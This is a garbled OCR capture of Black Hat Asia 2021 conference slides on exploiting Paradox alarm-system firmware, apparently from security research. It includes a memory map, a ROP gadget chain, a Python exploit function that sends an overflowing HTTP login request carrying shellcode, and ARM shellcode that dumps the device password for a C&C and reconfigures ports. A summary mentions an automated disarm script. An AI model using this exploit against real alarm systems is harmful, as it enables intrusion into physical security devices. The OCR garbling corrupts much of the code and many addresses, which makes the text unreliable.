« GET params cannot include space chatr.

N

Na20072 Annn Nw3EEE ECEEE

SRAM (16 KB aliased
by bit-banding)

SRAM (112 KB aliased

by bit—banding)
N

0x2001 CO00 - 0x2001 FFFF

0x2000 0000 - 0x2001 BFFF

Reserved

Option Bytes

Reserved

System memory + OTP

Reserved

CCM data RAM
(64 KB data SRAM)

Reserved

Flash

Reserved

Aliased to Flash, system
memory or SRAM depending
on the BOOT pins

« Requests with 0x20 In either param gets dropped before PARADOX login.
* On the other hand - firmware address range is 0x08000000-0x080fffff.

#BHASIA

0x1FFF C008 - 0x1FFF FFFF
0x1FFF C000 - 0x1FFF C007
0x1FFF 7A10 - Ox1FFF 7FFF
FFF 0000 - Ox1FFF 7AOF
0x10Q1 0000 - Ox1FFE FFFF

0x1000 0BQO - 0x1000 FFFF

0x0810 0000 -
0x0800 0000 - 0xO80F FFFF
0x0010 0000 - 0x07FR FFFF

0x0000 0000 - 0x000F FF

@BLACKHATEVENTS
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Gadget 1

Gadget 2

Gadget 3

Vulnerable Login Function

PC: 0x0804D0F6 (gadget 1)
R5: 0x0804F880 (gadget 2)
R6: 008073792 (gadget 3)
R7: -119 (offset of shellcode on the stack)

MoV R2, R7
MoV R1, R8
MoV R2, R4
BLX RS
R2: -119 (offset of shellcode on the stack)
R6: 0x08073792 (gadget 3)
ADD R1, SP, #0xS58+var 54 ; R1 => SP + 4
MOV R8, R5
BLX RE
FrAD o& H
R1:SP + 4
R2: -119 (offset of shellcode on the stack)
ADDS  R1, R2, R1
BLX R1 ub_8073680
Shellcode
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21

22 def exploit(r4, r5, ré6, r7, r8, r9, ri@, pc, buf, u, p):

23 return http_ get( rFr_,ht. itml”, "x="4+"A"*(0xfc-32) + r4 + r5 + 16 + r7 + r8 + r9 + r10 + pc + buf + "Au=" + u + "&p=" + p)
24

25 def safe exec from Stack(cnde)

26 GADGET_ MOV _R2 R7 BLX R5 = OF6

27 GADGET MOV _R1 SP _BLX R6 = 386

28 GADGET ADD R1 R2 BLX R1 = 79

20

30 if len(code) = 135:

31 raise NotImplementedError("CODE TOO BIG - might cause unknown behavior...\r\n")
32

33 return exploit(rd4=struct.pack("i",-1),

34 r5=struct.pack("1",GADGET MOV R1 SP BLX R6 + 1),

35 ré=struct.pack("1",GADGET _ADD R1 R2 BLX R1 + 1),

36 r7=struct.pack("1 ,—vm-;-—), # size to substract from stack so we'll jump back to the password field
37 r8=struct.pack("i",-1),

38 ro9=struct.pack("i",-1),

39 ri@=struct.pack("i",-1),

40 pc=struct.pack("1",GADGET MOV _R2 R7 BLX R5 + 1),

41 buf="",

42 u="AA", # dont leave empty

43 p=hex_encode(code))
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 Dump device password.
« Send password back to C&C.
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[ login request ] [ login request ]

is valid
username &
assowor

is valid
username &

open 401.html
ASSOWor

open dummy.htmi ]

:

edit dummy.himl descriptor so it
points to memory were password

Yes Yasg 5 icated
Y Y v
set page to
[ ] [set page to 401.htm| [ ] [ dummy htmi ]
V Vv
return page ] return page ]
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fs open(struct fs file #*file, const char *name)

{

const struct fsdata file *f;

it ((file == NULL) || (name == NULL)) {
return ERR_ARG;
}

#iT LWIP HTTPD CUSTOM FILES
if (fs open custom(file, name)) {
file->flags |= FS FILE FLAGS CUSTOM;
return ERR OK;

t
#endif /* LWIP HTTPD CUSTOM FILES */

for (f = FS ROOT; f I= NULL; f = f-=next) {
if (!strcmp(name, (const char *)f-=name)) {
file-=data = (const char *)f-=data;
file-=len = f-=len;
file-=index = f-=len;
file-=flags = f->flags;
#1f HTTPD PRECALCULATED CHECKSUM
file-=chksum count = f-=chksum count;
file-=chksum = f-=>chksum;
#Fendif [+ HTTPD PRECALCULATED CHECKSUM */
#1T LWIP HTTPD FILE EXTENSION
file-=pextension = NULL;
#endif /* LWIP HTTPD FILE EXTENSION */
#1f LWIP HTTPD FILE STATE
file->state = fs state init(file, name);
#endif /* #if LWIP HTTPD FILE STATE */
return ERR OK;
}

}
/¥ file not found #*/

return ERR VAL;
}

#BHASIA
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55
® 56
blackhat 57 | fs open(struct fs file *file, const char *name)

AN VANr—{ mFr—X| 58 | { - -
59 const struct fsdata file *f;
60
6 it ((file == NULL) || (name == NULL)) {
62 return ERR_ARG;
63 }
64
65 | #1f LWIP HTTPD CUSTOM FILES
66 if (fs open custom(file, name)) {
67 file->flags |= FS FILE FLAGS CUSTOM;
68 return ERR_0OK;
69 }
760 | #endif /* LWIP HTTPD CUSTOM FILES */
711
12 for (f = FS ROOT; f I= NULL; f = f-=next) {
13 i ! -
74 file-=data = (const char *)f-=data;
75 file-=len = f-=len;
76 file-=index = f-=len;
77 file-=flags = f->flags;
78 | #1f HTTPD PRECALCULATED CHECKSUM
79 file-=chksum count = f-=chksum count;
80 file-=chksum = f-=>chksum;

81 | #engif /* HTTPD PRECALCULATED CHECKSUM */
82 | #1T|LWIP HTTPD FILE EXTENSION

83 file-=pextension = NULL;

84 | #endift /* LWIP HTTPD FILE EXTENSION */

85 | #1T|LWIP HTTPD FILE STATE

86 file->state = fs state init(file, name);
 dentif O EPHFFPE R ST E—

88 return ERR OK;

89 +

90 }

91 /* file not found */
92 return ERR VAL;
93 | }
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n ‘ 1|.section .text
2 .global start
black hat 3 start:

ASIA 2021 4 .ARM
add r3, pc, #I /] switch to thumb mode

bx r3

5
v]
7
8 .thumb

9

10 // make sure we dont crash
11 mov r6, ro

12

13 // open fake file

14 1ldr r1, default_html

15 mov r@, #C

16 1ldr r4, fs_open

17 blx r4

18

19 // change data pointer

20 1dr ri1, data

21 str ri, [ro, #4]

22 mov rle, re

23

24 /f continue normal execution
25 1ldr r4, return_page

26 blx r4

27

28 .align 2

29 return_page:

30 .word OxO805A61B
31

32 fs_open:

33 .word Ox08062251
34

35 data:

36 .word 0x2001d7dc
37

38 default_html:

39 .word Ox080136cSH #BHASIA @BLACKHATEVENTS
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4 L.ARM

5 add r3, pc, #1 // switch to thumb
6 bx r3

7

8 .thumb

O

10 // switch ports

11 mov r3, #C

12 mov r2, #t

13 mov ril, #o

14 adr r®, new babyware port
15 1ldr r4, update config ptr
16 blx r4

18 mov r3, #C

19 mov r2, #t

20 mov ril, #7

21 adr r®, new web port

22 ldr r4, update config ptr
23 blx r4

25 // restart

26 mov r4, #C

27 blx r4

28

29 .align 2

30 update_ cnnflg ptr:
31 .word 0x0803a4f1
32

33 new_babyware port:
34 .word

35

36 new _web port:

37 .word 1000¢

38

39 eof:

40 .ascli "EOF
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« Decrypt PUF file(Nezmogus) & decode Intel-HEX payload.

* MitM & dump firmware from network.

* Reverse enginnering Intel-HEX payload & decrypt firmware from network.
* Reverse enginnering modified IwIP httpd webserver.

* Login vulenrabilities analyses.

 ROP-chain overcoming 0x20 issue.

« Shellcode 1 - password dumper.

» Shellcode 2 - "switch ports".

« Automated disarm Python script using PAL.
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